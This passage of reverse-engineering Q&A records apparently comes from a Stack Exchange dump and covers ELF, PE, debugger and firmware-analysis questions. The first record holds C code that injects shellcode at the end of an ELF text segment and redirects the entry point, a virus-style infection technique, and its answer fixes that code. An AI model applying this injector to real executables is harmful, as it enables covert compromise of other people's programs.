*mapped_file;\n    struct stat st;\n    char *interp;\n    int magic = 1337;\n\n    Elf64_Ehdr *ehdr = NULL;\n    Elf64_Phdr *phdr = NULL;\n    Elf64_Shdr *shdr = NULL;\n\n    if (argc &lt; 2)\n    {\n        printf(\"Usage: %s &lt;executable&gt;\\n\", argv[0]);\n        exit(EXIT_SUCCESS);\n    }\n\n    fd = open(argv[1], O_RDWR);\n\n    if (fd &lt; 0)\n    {\n        perror(\"open\");\n        exit(EXIT_FAILURE);\n    }\n\n    if (fstat(fd, &amp;st) &lt; 0)\n    {\n        perror(\"fstat\");\n        exit(EXIT_FAILURE);\n    }\n\n    /* map whole executable into memory */\n    mapped_file = mmap(NULL, st.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);\n\n    if (mapped_file &lt; 0)\n    {\n        perror(\"mmap\");\n        exit(EXIT_FAILURE);\n    }\n\n    check_elf(mapped_file, argv);\n\n    ehdr = (Elf64_Ehdr *) mapped_file;\n    phdr = (Elf64_Phdr *) &amp;mapped_file[ehdr-&gt;e_phoff];\n    shdr = (Elf64_Shdr *) &amp;mapped_file[ehdr-&gt;e_shoff];\n\n\n    if (ehdr-&gt;e_type != ET_EXEC)\n    {\n        fprintf(stderr, \"%s is not an ELF executable.\\n\", argv[1]);\n        exit(EXIT_FAILURE);\n    }\n\n    printf(\"Program entry point: %08x\\n\", ehdr-&gt;e_entry);\n\n\n    char jmp_code[7];\n    int text_found = 0;\n    uint64_t parasite_addr;\n    uint64_t text_end;\n    size_t parasite_len = strlen(shellcode);\n    int text_idx = INVALID_IDX;\n    for (i = 0; i &lt; ehdr-&gt;e_phnum; ++i)\n    {\n\n        if (text_found)\n        {\n            phdr[i].p_offset += PAGE_SIZE;\n            continue;\n        }\n\n\n        if (phdr[i].p_type == PT_LOAD &amp;&amp; phdr[i].p_flags == ( PF_R | PF_X))\n        {\n            // set parasite  to the end of the text segment\n            parasite_addr = phdr[i].p_vaddr + phdr[i].p_filesz;\n            text_end = phdr[i].p_vaddr + phdr[i].p_filesz;\n\n            printf(\"TEXT SEGMENT ends at 0x%x\\n\", text_end);\n            text_idx = i;\n\n            puts(\"Changing entry point...\");\n            ehdr-&gt;e_entry = (Elf64_Addr)parasite_addr;\n\n            memmove(mapped_file + phdr[i].p_offset + phdr[i].p_filesz, \n                    shellcode, parasite_len);\n\n\n\n\n            phdr[i].p_filesz += parasite_len;\n            phdr[i].p_memsz += parasite_len;    \n\n            text_found++;\n        }\n\n\n    }\n\n    //patch sections\n\n    for (i = 0; i &lt; ehdr-&gt;e_shnum; ++i)\n    {\n        if (shdr-&gt;sh_offset &gt;= parasite_addr)\n            shdr-&gt;sh_offset += PAGE_SIZE;\n\n        else\n            if (shdr-&gt;sh_size + shdr-&gt;sh_addr == parasite_addr)\n                shdr-&gt;sh_size += parasite_len;\n    }\n\n    ehdr-&gt;e_shoff += PAGE_SIZE;\n    close(fd);\n\n\n}\n\n\n\nint check_elf(uint8_t *mapped_file, char **argv)\n{\n    const uint8_t magic[] = {0x7F, 'E', 'L', 'F'};\n\n    if (memcmp(magic, mapped_file, sizeof(magic)))\n    {\n        fprintf(stderr, \"%s is not an ELF file.\\n\", argv[1]);\n        exit(EXIT_FAILURE);\n    }\n\n    return 1;\n}\n</code></pre>\n\n<p>As for the program whose entry-point i'm trying to change it's just a simple hello world.</p>\n",
        "Title": "Changing entry-point of and ELF file",
        "Tags": "|linux|elf|x86-64|",
        "Answer": "<p><strong>Comment out or simply remove lines</strong></p>\n\n<pre><code>ehdr-&gt;e_shoff += PAGE_SIZE;\n\nif (text_found)\n{\n    phdr[i].p_offset += PAGE_SIZE;\n    continue;\n}\n</code></pre>\n\n<p><strong>and change</strong> <code>shdr-&gt;sh_offset</code>'<strong>s to</strong> <code>shdr[i].sh_offset</code>'<strong>s</strong>. </p>\n\n<p><strong>Explanation:</strong>\nYou may run <code>readelf -a hello</code> for more details. It will output following problems:</p>\n\n<pre><code>readelf: Error: Reading 1856 bytes extends past end of file for section headers\nreadelf: Error: Section headers are not available!\nreadelf: Warning: note with invalid namesz and/or descsz found at offset 0xc\nreadelf: Warning:  type: 0x600ff0, namesize: 0x00000000, descsize: 0x00150003, alignment: 4\n</code></pre>\n\n<p>It means that your <code>section headers</code> address was increased by <code>PAGE_SIZE</code> too. Indeed, after modification it equals:</p>\n\n<pre><code>Start of section headers:          10544 (bytes into file)\n</code></pre>\n\n<p>And before:</p>\n\n<pre><code>Start of section headers:          6448 (bytes into file)\n</code></pre>\n\n<p>So you don't want to add <code>PAGE_SIZE</code> to <code>ehdr-&gt;e_shoff</code>, since otherwise the start of <code>section headers</code> now points to some random data.</p>\n\n<p>Regarding <code>phdr[i].p_offset</code>'s, I don't think you have to change them at all, since they are just segment offsets.</p>\n\n<p><strong>Note:</strong> <code>GCC</code> by default compiles to position independent executable, so it will have <code>e_type</code> equal <code>3</code> (<code>ET_DYN</code> instead of <code>ET_EXEC</code>), but will still be an <code>ELF</code> executable.</p>\n"
    },
    {
        "Id": "21392",
        "CreationDate": "2019-05-30T14:28:53.260",
        "Body": "<p>I have a (non-malicious) PE exe that I'm analyzing, which is using the Themida/WinLicense packer and noticed that it has 479 defined exports, which seems odd for an exe. Some of the functions are specific to the application, others are from the boost and QT libraries. Any idea why this would be? Is it a side effect of Themida, or a mistake by the app developers?</p>\n",
        "Title": "Large number of exports defined in a PE .exe file",
        "Tags": "|pe|unpacking|",
        "Answer": "<p>Most of the time it is just a benign side effect of linking in code that exposes their APIs as DLL exports. It is fairly common for 3rd party middleware/libraries to do this so that their code will work in both DLLs and EXEs without modification.</p>\n\n<p>For boost, any of their methods that are marked with <code>BOOST_SYMBOL_EXPORT</code> will get tagged for DLL export:</p>\n\n<blockquote>\n  <p>Defines the syntax of a C++ language extension that indicates a symbol is to be exported from a shared library. If the compiler has no such extension, the macro is defined with no replacement text.</p>\n</blockquote>\n\n<hr>\n\n<p>I have seen some EXE binaries explicitly export function entry points for easier communication back and forth between DLL plugins, but this is a lot more rare the the above case.</p>\n"
    },
    {
        "Id": "21396",
        "CreationDate": "2019-05-31T01:16:20.737",
        "Body": "<p>I'm working on disassembling a flash dump from a TriCore TC1766 which came from a car (an MT86 ECU). My goal is to identify tables and scalars in the data area, and determine what they are used for. I used a heat map analysis to locate 200+ potential tables based on a pattern I found and I verified my results were (mostly) valid based on some known table locations. The table dimensions are known as well. </p>\n\n<p>Since i'm working blind with only a disassembler (IDA Pro), I'm finding it difficult to even get started. I know the addresses for a few tables and 2 scalars but I cannot find any references to them in the disassembled code. </p>\n\n<p>I know that each of the table values and the scalers need to be converted in some way to get the correct values. For example, A scalar located at 0x30D4C has the following bytes F8 D9 and when reversed, are an integer of 55,800 which is then multiplied by 0.125 to get the target value of 6975 which is the maximum RPM that the ECU will let the engine spin to. </p>\n\n<p>I was thinking if I could find where the operations were that did this conversion, i'd have a place to start navigating. But, I'm not really sure how the operations would be done, would it be a multiply opcode or would it be bit shifting? I have no idea what compiler options were used or what optimizations were used when the code was built. </p>\n\n<p>What are some techniques I can use to find where these memory locations are referenced?</p>\n\n<p>Heat map of a known table that is 13x19\n<a href=\"https://i.stack.imgur.com/SK9SD.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SK9SD.png\" alt=\"enter image description here\"></a></p>\n\n<p>Same table in IDA before the analysis\n<a href=\"https://i.stack.imgur.com/kNZqW.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kNZqW.png\" alt=\"enter image description here\"></a></p>\n\n<p>Same table in IDA after the analysis\n<a href=\"https://i.stack.imgur.com/NbtnZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/NbtnZ.png\" alt=\"enter image description here\"></a></p>\n\n<p>If I look for any XREFs on dword_208C8 there aren't any</p>\n\n<p><a href=\"https://i.stack.imgur.com/biEBB.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/biEBB.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "How to identify memory access locations",
        "Tags": "|disassembly|embedded|",
        "Answer": "<p>If you have loaded the binary into IDA and the data has no references, I would suggest, you have loaded the binary into the wrong address space.. Or it's referenced in a relative fashion and you have not decoded the code that references it.. depending on the CPU and how does references, aka something like a FR only does absolute references, so you can workout that address space via function calls, where-as ARM uses a lot of relative calls, this is where using the issues to find out of bound memory accesses can help to identify the correct base address.</p>\n\n<p>In general I load a file at zero, then looking for memory address offset, jmps to addresses that don't make sense. Then I open a new project and load the image at the \"new offset\" that I think it now correct, and go from there.. I find that each model camera the code is loaded into a new location/address for Nikon camera's, it's a matter of finding the correct one, and when you do it makes more sense. The next thing is if code is copied into RAM to allow for updating of the firmware, Nikon does this, or load it's RTOS at different locations. All which might be the code accessing this data.</p>\n"
    },
    {
        "Id": "21414",
        "CreationDate": "2019-06-03T20:51:02.140",
        "Body": "<p>I reverse an ELF x86, and I would like to understand why the return address is pushed again on the stack? It should be already present there.</p>\n\n<pre><code>main:\nlea    ecx, [esp+0x4 {argc}]\nand    esp, 0xfffffff0\npush   dword [ecx-0x4 {__return_addr}] {var_4}\npush   ebp, {var_8}\nmov    ebp, esp\npush   edi {var_c}\npush   ecx {argc} {var_10}\nsub    esp, 0xb0\nmov    eax, dword [ecx+0x4 {argv}]\nmov    dword [ebp-0x9c {var_a4}], eax\nmov    eax, dword [gs:0x14]\nmov    dword [ebp-0xc {var_14}], eax\nxor    eax, eax {0x0}\ncmp    dword [ecx {argc}], 0x2\nje     0x80485ae\n...\n</code></pre>\n",
        "Title": "ELF x86 - Why is return address pushed twice?",
        "Tags": "|disassembly|x86|elf|stack|",
        "Answer": "<p>It <strong>was</strong> present on the stack before <code>and esp, 0xfffffff0</code> instruction that aligns the stack to 16 bytes. This instruction doesn't erase the data that was previously at <code>esp</code> (so <code>ecx-4</code> still points to the return address), but stack pointer points now to possibly different value than at the begining of the function. So there is a need to push the return value (<code>[ecx-4]</code>) on the stack so that <code>esp</code> points to the return address instead of some garbage data.</p>\n\n<p>For instance, assume that previous <code>esp</code> value was <code>0x11111118</code>. Then the function return address is located at <code>esp</code> (i.e. equals <code>[esp]</code>). But after the <code>and</code> operation, <code>esp</code> now equals <code>0x11111110</code>, so the function return address is at <code>esp+8</code> address, which is not on the stack (actually <strong>below</strong> it) and <code>esp</code> now points to some other data, which definitely isn't the function return address. But we know that <code>ecx-4</code> points to that address (since <code>ecx</code> = <code>0x11111118+4</code>=<code>0x1111111C</code>), so we push <code>[ecx-4]</code> on the stack, so that <code>esp</code> now points to it.</p>\n"
    },
    {
        "Id": "21418",
        "CreationDate": "2019-06-04T19:41:36.803",
        "Body": "<p>I have an encrypted file that I was able to step through the code until that specific DLL file was decrypted in memory and I was able to list all of its strings. It has a ton of them that I would like to export all of them to a text file or even a CSV file if possible but I can't find any way to do so. </p>\n\n<p>Am I missing a command or a button somewhere or is this something I would need to try and write a script to accomplish?</p>\n",
        "Title": "Is there a way to export all the strings for a certain module in x64dbg?",
        "Tags": "|x64dbg|strings|",
        "Answer": "<p>You may try <code>right click</code>-&gt;<code>Copy</code>-&gt;<code>Full Table</code> to copy it to clipboard.</p>\n<p><s>If you want to copy only strings without <code>Disassembly</code> and <code>Address</code> columns, right click at the upper bar of this window (where you see <code>Strings</code>, <code>Disassembly</code> and <code>Address</code>), select columns to hide and click the <code>Hide</code> button as illustrated below.</s></p>\n<p><a href=\"https://i.stack.imgur.com/eyc7C.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/eyc7C.png\" alt=\"enter image description here\" /></a></p>\n<p>Edit: this will copy the entire table too, so if you want to have only strings saved in a file, you need to delete the two remaining columns.</p>\n<p>You may for instance use <code>Notepad++</code> for this purpose: navigate to the last line, select everything in this line, except the string, press <code>Alt</code>+<code>Shift</code>+<code>PageUp</code> and keep it pressed until you reach the top of file and while you are there, press <code>Delete</code>.</p>\n<p>If your file is so big that the above way to delete these columns is impractcical, you may use regular expressions instead.</p>\n"
    },
    {
        "Id": "21430",
        "CreationDate": "2019-06-06T08:53:55.607",
        "Body": "<p><strong>Observations</strong></p>\n\n<p>When the Linux executable is compiled as PIE (Position Independent Executable, default on Ubuntu 18.04), the symbols from shared libraries (e.g. libc) will be resolved when the program starts executing, setting LD_BIND_NOW environment variable to null will not defer this process. </p>\n\n<p>However, if the executable is compiled with the <code>-no-pie</code> flag, the symbol resolution can be controlled by LD_BIND_NOW.</p>\n\n<p><strong>Question</strong></p>\n\n<p>Is it possible to control when the symbols from share libraries to be resolved on a ELF PIE executable?</p>\n\n<p>Below is the test code and system info,</p>\n\n<pre><code>ubuntu: 18.04\nkernel: Linux 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux\ngcc: gcc (Ubuntu 7.4.0-1ubuntu1~18.04) 7.4.0\n\n\n$ gcc -o helloworld helloworld.c\n\n$ file helloworld\nhelloworld: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=70143fcc329797b2d0af84143ce0125775ab330f, not stripped\n\n#include &lt;stdio.h&gt;\nint main() {\n    printf(\"Hello world!\\n\");\n}\n</code></pre>\n",
        "Title": "LD_BIND_NOW doesn\u2019t seem to take effect on ELF PIE executable?",
        "Tags": "|elf|pie|",
        "Answer": "<p><strong>Yes, it is possible while compiling with <code>clang</code></strong>: <code>clang -o helloworld helloworld.c</code>. To test it, run:</p>\n\n<pre><code>export LD_DEBUG=reloc,symbols\n./helloWorld\n</code></pre>\n\n<p>with <code>LD_BIND_NOW</code> null and then with <code>LD_BIND_NOW</code> equal <code>1</code>. You will see that in the first case the call to <code>printf</code> is indeed being resolved at demand, and in the second case it will be resolved before transferring control to the program.</p>\n\n<pre><code>LD_BIND_NOW=null\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/QejFD.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/QejFD.jpg\" alt=\"LD_BIND_NOW_NULL\"></a></p>\n\n<pre><code>LD_BIND_NOW=1\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/8QfHv.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8QfHv.jpg\" alt=\"LD_BIND_NOW_1\"></a></p>\n\n<p>It doesn't work for <code>GCC</code> for some reason, as you have noticed, at least without specifying relevant options.</p>\n"
    },
    {
        "Id": "21458",
        "CreationDate": "2019-06-11T08:27:47.627",
        "Body": "<p>For starters guys please don't get mad at me because I really googled this question for a while and couldn't find a satisfying answer. Also if I'm asking an idiotic question, I apologize beforehand.</p>\n\n<p>What I basically want to do is to hex edit an executable file to change an integer variable in an address I know from signed to unsigned. Is this even possible? to change variable types by hex editing? I know how to change the value of the variable, but how can I change its type?</p>\n\n<p>Thanks in advance,\nRay.</p>\n",
        "Title": "Hex editing a program to change variable types",
        "Tags": "|assembly|executable|patching|hex|hexadecimal|",
        "Answer": "<p>Yes, it is possible, <strong>but by changing instructions, not data</strong>. In assembly there is no way to tell that a particular integer variable is signed or unsigned until you interpret it in the one or another way (and you may change this interpretation many times). </p>\n\n<p>Knowing this, to interpret some integer value you use instructions like <code>ja</code>, <code>jb</code> or <code>mul</code> in case of unsigned integer, or <code>jg</code>, <code>jl</code> or <code>imul</code> in case of signed integer (in <code>x86</code> architecture). So, if you want to change the way the particular integer is interpreted, you have to change instructions in one of these groups to their counterparts in the second one. </p>\n"
    },
    {
        "Id": "21460",
        "CreationDate": "2019-06-11T10:39:41.823",
        "Body": "<p>Given this classic <code>helloworld.c</code> example,</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nint main() {\n    printf(\"Hello world!\\n\");\n}\n</code></pre>\n\n<p>In below <code>sections</code> output, the value for <code>Flags</code> presents a couple of different values, e.g. <code>A</code>, <code>AI</code>, <code>AX</code>, <code>WA</code>, etc.</p>\n\n<p>From <a href=\"http://man7.org/linux/man-pages/man5/elf.5.html\" rel=\"noreferrer\">man elf</a>, I understand <code>A</code> probably corresponds to <code>SHF_ALLOC</code>, <code>W</code> for <code>SHF_WRITE</code>, <code>X</code> for <code>SHF_EXECINSTR</code>. But how about <code>AI</code>? </p>\n\n<p><strong>Is the correspondence between  those long and short forms documented?</strong></p>\n\n<pre><code>$ readelf -S helloworld\n\nThere are 34 section headers, starting at offset 0x2188:\n\nSection Headers:\n  [Nr] Name              Type             Address           Offset\n       Size              EntSize          Flags  Link  Info  Align\n  [ 0]                   NULL             0000000000000000  00000000\n       0000000000000000  0000000000000000           0     0     0\n  [ 1] .interp           PROGBITS         0000000000000238  00000238\n       000000000000001c  0000000000000000   A       0     0     1\n  [ 2] .note.ABI-tag     NOTE             0000000000000254  00000254\n       0000000000000020  0000000000000000   A       0     0     4\n  [ 3] .note.gnu.build-i NOTE             0000000000000274  00000274\n       0000000000000024  0000000000000000   A       0     0     4\n  [ 4] .gnu.hash         GNU_HASH         0000000000000298  00000298\n       000000000000001c  0000000000000000   A       5     0     8\n  [ 5] .dynsym           DYNSYM           00000000000002b8  000002b8\n       00000000000000a8  0000000000000018   A       6     1     8\n  [ 6] .dynstr           STRTAB           0000000000000360  00000360\n       0000000000000082  0000000000000000   A       0     0     1\n  [ 7] .gnu.version      VERSYM           00000000000003e2  000003e2\n       000000000000000e  0000000000000002   A       5     0     2\n  [ 8] .gnu.version_r    VERNEED          00000000000003f0  000003f0\n       0000000000000020  0000000000000000   A       6     1     8\n  [ 9] .rela.dyn         RELA             0000000000000410  00000410\n       00000000000000c0  0000000000000018   A       5     0     8\n  [10] .rela.plt         RELA             00000000000004d0  000004d0\n       0000000000000018  0000000000000018  AI       5    22     8\n  [11] .init             PROGBITS         00000000000004e8  000004e8\n       0000000000000017  0000000000000000  AX       0     0     4\n  [12] .plt              PROGBITS         0000000000000500  00000500\n       0000000000000020  0000000000000010  AX       0     0     16\n  [13] .plt.got          PROGBITS         0000000000000520  00000520\n       0000000000000008  0000000000000008  AX       0     0     8\n  [14] .text             PROGBITS         0000000000000530  00000530\n       00000000000001a2  0000000000000000  AX       0     0     16\n  [15] .fini             PROGBITS         00000000000006d4  000006d4\n       0000000000000009  0000000000000000  AX       0     0     4\n  [16] .rodata           PROGBITS         00000000000006e0  000006e0\n       0000000000000011  0000000000000000   A       0     0     4\n  [17] .eh_frame_hdr     PROGBITS         00000000000006f4  000006f4\n       000000000000003c  0000000000000000   A       0     0     4\n  [18] .eh_frame         PROGBITS         0000000000000730  00000730\n       0000000000000108  0000000000000000   A       0     0     8\n  [19] .init_array       INIT_ARRAY       0000000000200db8  00000db8\n       0000000000000008  0000000000000008  WA       0     0     8\n  [20] .fini_array       FINI_ARRAY       0000000000200dc0  00000dc0\n       0000000000000008  0000000000000008  WA       0     0     8\n  [21] .dynamic          DYNAMIC          0000000000200dc8  00000dc8\n       00000000000001f0  0000000000000010  WA       6     0     8\n  [22] .got              PROGBITS         0000000000200fb8  00000fb8\n       0000000000000048  0000000000000008  WA       0     0     8\n  [23] .data             PROGBITS         0000000000201000  00001000\n       0000000000000010  0000000000000000  WA       0     0     8\n  [24] .bss              NOBITS           0000000000201010  00001010\n       0000000000000008  0000000000000000  WA       0     0     1\n\nMore following...\n</code></pre>\n\n<hr>\n\n<p>Let's dump the section header table in binary to see what's actually stored in place of the <code>Flags</code>,</p>\n\n<p><code>hexdump -v -s 0x2188 -n 768 -e '4/1 \"%02x\" \" \" 4/1 \"%02x\" \" \" 8/1 \"%02x\" \" \" 48/1 \"%02x\" \"\\n\"' helloworld</code></p>\n\n<blockquote>\n  <p>As per <code>Elf64_Shdr</code> struct, the 3rd column in the following output is\n  the binary form of flags(<code>sh_flags</code>).</p>\n</blockquote>\n\n<pre><code>00000000 00000000 0000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n1b000000 01000000 0200000000000000 380200000000000038020000000000001c00000000000000000000000000000001000000000000000000000000000000\n23000000 07000000 0200000000000000 540200000000000054020000000000002000000000000000000000000000000004000000000000000000000000000000\n31000000 07000000 0200000000000000 740200000000000074020000000000002400000000000000000000000000000004000000000000000000000000000000\n44000000 f6ffff6f 0200000000000000 980200000000000098020000000000001c00000000000000050000000000000008000000000000000000000000000000\n4e000000 0b000000 0200000000000000 b802000000000000b802000000000000a800000000000000060000000100000008000000000000001800000000000000\n56000000 03000000 0200000000000000 600300000000000060030000000000008200000000000000000000000000000001000000000000000000000000000000\n5e000000 ffffff6f 0200000000000000 e203000000000000e2030000000000000e00000000000000050000000000000002000000000000000200000000000000\n6b000000 feffff6f 0200000000000000 f003000000000000f0030000000000002000000000000000060000000100000008000000000000000000000000000000\n7a000000 04000000 0200000000000000 10040000000000001004000000000000c000000000000000050000000000000008000000000000001800000000000000\n84000000 04000000 4200000000000000 d004000000000000d0040000000000001800000000000000050000001600000008000000000000001800000000000000\n8e000000 01000000 0600000000000000 e804000000000000e8040000000000001700000000000000000000000000000004000000000000000000000000000000\n</code></pre>\n\n<hr>\n\n<p>As a combination of above two outputs, the following correspondence between the flag's binary form and the literal form is observed.</p>\n\n<pre><code>02 = 0000 0010 = A\n42 = 0100 0010 = AI\n06 = 0000 0110 = AX\n</code></pre>\n\n<p><strong>Are these correspondences documented?</strong></p>\n",
        "Title": "Meaning of Flags in ELF Section header?",
        "Tags": "|elf|",
        "Answer": "<p>From the readelf output for section headers:</p>\n<p>Key to Flags:</p>\n<p>W (write), A (alloc), X (execute), M (merge), S (strings)\nI (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)\nO (extra OS processing required) o (OS specific), p (processor specific)</p>\n"
    },
    {
        "Id": "21465",
        "CreationDate": "2019-06-11T15:30:46.350",
        "Body": "<p>I'm pretty much new to the Reverse Engineering and assembly language. I've watched some videos about OllyDbg and cracking serial numbers in programs and I got interested in them and I want to learn more about assembly. Therefore I created a little console program myself in C# to practice:</p>\n\n<pre><code>using System;\nnamespace ConsoleApp3\n{\n    class Program\n    {\n        static void Main(string[] args)\n        {\n            Console.Write(\"Please enter the code: \");\n            string code = \"af2152ats7u35e\";\n            string input = Console.ReadLine();\n            if (input == code)\n                Console.WriteLine(\"The code is correct!\");\n            else\n                Console.WriteLine(\"You failed, try again...\");\n            Console.ReadLine();\n        }\n    }\n}\n</code></pre>\n\n<p>Of course I can find the string in a text document, but the point was to actually use OllyDbg to jump over the checking part and right away give the \"code is correct\", just to practice the reverse engineering.\nAt first I thought it's gonna be easy and I'm gonna manipulate the program in different ways, but it turns out the strings are not shown as ASCII in the CPU view:\n<a href=\"https://i.stack.imgur.com/ldtic.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ldtic.png\" alt=\"enter image description here\"></a></p>\n\n<p>Because I thought it's gonna be shown as in this video: <a href=\"https://youtu.be/uydMlQlEiyc?t=39\" rel=\"nofollow noreferrer\">https://youtu.be/uydMlQlEiyc?t=39</a></p>\n\n<p>So instead I can only find them in the dump view:\n<a href=\"https://i.stack.imgur.com/t2OO8.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/t2OO8.png\" alt=\"enter image description here\"></a></p>\n\n<p>It makes it harder to actually find it in the CPU view and I can't find how to work with this on the internet or how to change it so it will be like in the video?</p>\n\n<p>How do I continue from here and how can I find the dump text reference in the code?</p>\n",
        "Title": "ASCII strings not showing up in CPU in OllyDbg, but rather in dump",
        "Tags": "|windows|assembly|debugging|c#|",
        "Answer": "<p>OllyDbg actually <strong>shows</strong> these strings, but you weren't looking at the right function. The image you posted shows <code>RaiseException</code> function from <code>KERNELBASE</code> instead of the <code>main</code> function.</p>\n\n<p><a href=\"https://i.stack.imgur.com/m9CHh.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/m9CHh.png\" alt=\"ollyUnicodeStrings\"></a></p>\n\n<p>However, as you see from assembly instructions, they are written in <a href=\"https://en.wikipedia.org/wiki/Common_Intermediate_Language\" rel=\"nofollow noreferrer\">CIL</a> and OllyDbg works only for <code>x86</code> architecture, so when you try to set a breakpoint and run this application in it, you will get an exception and will be unable to continue to the code above.</p>\n\n<p>As @ismael_akez suggested, you may either try some different tool, or just rewrite your program in <code>C++</code> and you should able to debug your program in Olly.</p>\n\n<p><strong>Note:</strong> these are <em>Unicode</em>, not ASCII strings.</p>\n"
    },
    {
        "Id": "21498",
        "CreationDate": "2019-06-16T10:08:39.950",
        "Body": "<p>I am currently reverse a challenge to learn. But why is the parameter of <a href=\"http://man7.org/linux/man-pages/man2/mmap.2.html\" rel=\"nofollow noreferrer\">mmap</a> (containing <code>fd</code>) at 4294967295?</p>\n\n<p>(Is it not supposed to exist? No files are open with <code>open</code>, just before.)</p>\n\n<p><a href=\"https://i.stack.imgur.com/vCc0p.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/vCc0p.png\" alt=\"https://snag.gy/8LPqoh.jpg\"></a></p>\n",
        "Title": "Reverse a call to mmap()",
        "Tags": "|c|",
        "Answer": "<p>The signature for <code>mmap</code> is</p>\n\n<pre><code>void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); \n</code></pre>\n\n<p>4294967295 is same as -1 when treated as a signed integer.</p>\n\n<p>The <code>mmap</code> calls actually looks like</p>\n\n<pre><code>mmap(\n     NULL,                                /*addr*/\n     321,                                 /*length*/\n     PROT_EXEC | PROT_READ | PROT_WRITE,  /*prot*/\n     MAP_ANONYMOUS | MAP_PRIVATE,         /*flags*/\n     -1,                                  /*fd*/\n     0                                    /*offset*/\n)\n</code></pre>\n\n<p>Now as per the <a href=\"https://linux.die.net/man/2/mmap\" rel=\"noreferrer\">man pages</a>,</p>\n\n<blockquote>\n  <p><strong>MAP_ANONYMOUS</strong></p>\n  \n  <p>The mapping is not backed by any file; its contents are initialized to zero. The fd and offset arguments are ignored; however,\n  <strong>some implementations require fd to be -1 if MAP_ANONYMOUS (or\n  MAP_ANON) is specified,</strong> and portable applications should ensure this.\n  The use of MAP_ANONYMOUS in conjunction with MAP_SHARED is only\n  supported on Linux since kernel 2.4.</p>\n</blockquote>\n\n<p>It says if <code>MAP_ANONYMOUS</code> is specified then we may use <code>-1</code> as <code>fd</code> which explains your question.</p>\n"
    },
    {
        "Id": "21503",
        "CreationDate": "2019-06-17T22:31:46.993",
        "Body": "<p>This is a from a CTF problem I'm working on. Hopefully it's appropriate to ask this question here.</p>\n\n<p><a href=\"https://i.stack.imgur.com/iODPl.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iODPl.png\" alt=\"GDB output when segmentation fault happens\"></a></p>\n\n<p>Above is the GDB output when the segfault goes off. <code>movaps</code> is the offending instruction, meaning that <code>rsp+0x40</code> is most likely pointing to unmapped memory.</p>\n\n<p>However, a closer look at the memory allocated for the stack</p>\n\n<p><a href=\"https://i.stack.imgur.com/C5Evh.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/C5Evh.png\" alt=\"stack memory map\"></a></p>\n\n<p>and <code>rsp=0x00007ffde19d78a8</code> from the GDB output, shows that <code>rsp+0x40</code> is well within the allocated bounds. This is really confusing for me, is there something I'm missing here? Something else I can look into to debug this?</p>\n\n<p>Finally the output when running this under <code>strace</code></p>\n\n<pre><code>[pid 32671] --- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=NULL} ---\n[pid 32671] +++ killed by SIGSEGV (core dumped) +++\n</code></pre>\n\n<p>shows that it's apparently a null pointer dereference (<code>si_addr=NULL</code>), which doesn't make any sense to me because the offending instruction <code>movaps XMMWORD PTR [rsp+0x40],xmm0</code> isn't accessing a NULL pointer?</p>\n",
        "Title": "Unexpected SEGFAULT when there's apparently nothing that would cause it",
        "Tags": "|assembly|linux|",
        "Answer": "<p>According to <a href=\"https://c9x.me/x86/html/file_module_x86_id_180.html\" rel=\"nofollow noreferrer\">this</a> the address should be aligned by 16, which is not happen. Your <code>rsp</code> value is ending by <code>0xa8</code>, so <code>[rsp + 0x40]</code> will be aligned by 8, not 16.</p>\n"
    },
    {
        "Id": "21511",
        "CreationDate": "2019-06-18T21:16:38.600",
        "Body": "<p>My setup:</p>\n\n<ul>\n<li>Debugger: Win10 Pro, WinDbg Preview v.1.0.1904.18001</li>\n<li>Debuggee: Win7 Pro (running in a VM using VMWare Workstation)</li>\n</ul>\n\n<p>I'm trying to follow the <code>SendMessage</code> call from the user space:</p>\n\n<p><a href=\"https://i.stack.imgur.com/blgb5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/blgb5.png\" alt=\"enter image description here\"></a></p>\n\n<p>Into the kernel, by setting a conditional breakpoint on <code>win32k!NtUserMessageCall</code>:</p>\n\n<p><a href=\"https://i.stack.imgur.com/1GUDq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/1GUDq.png\" alt=\"enter image description here\"></a></p>\n\n<p>If we take the declaration of the <code>NtUserMessageCall</code> function:</p>\n\n<pre><code>NTSTATUS NtUserMessageCall(\n    HWND hWnd,\n    UINT uMsg,\n    WPARAM wParam,\n    LPARAM lParam,\n    ULONG_PTR ResultInfo,\n    DWORD dwWndProcType,\n    BOOL bAnsi);\n</code></pre>\n\n<p>The condition for the breakpoint is for <code>uMsg == WM_SYSCOMMAND</code> (or 0x112). I set it as such:</p>\n\n<pre><code>ba e 1 fffff960`00163318 \"j (@rdx=0x112) ''; 'gc'\"\n</code></pre>\n\n<p>I can then check that it was set up alright:</p>\n\n<p><a href=\"https://i.stack.imgur.com/v7nBp.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/v7nBp.png\" alt=\"enter image description here\"></a></p>\n\n<p>But when I then \"Go\" the 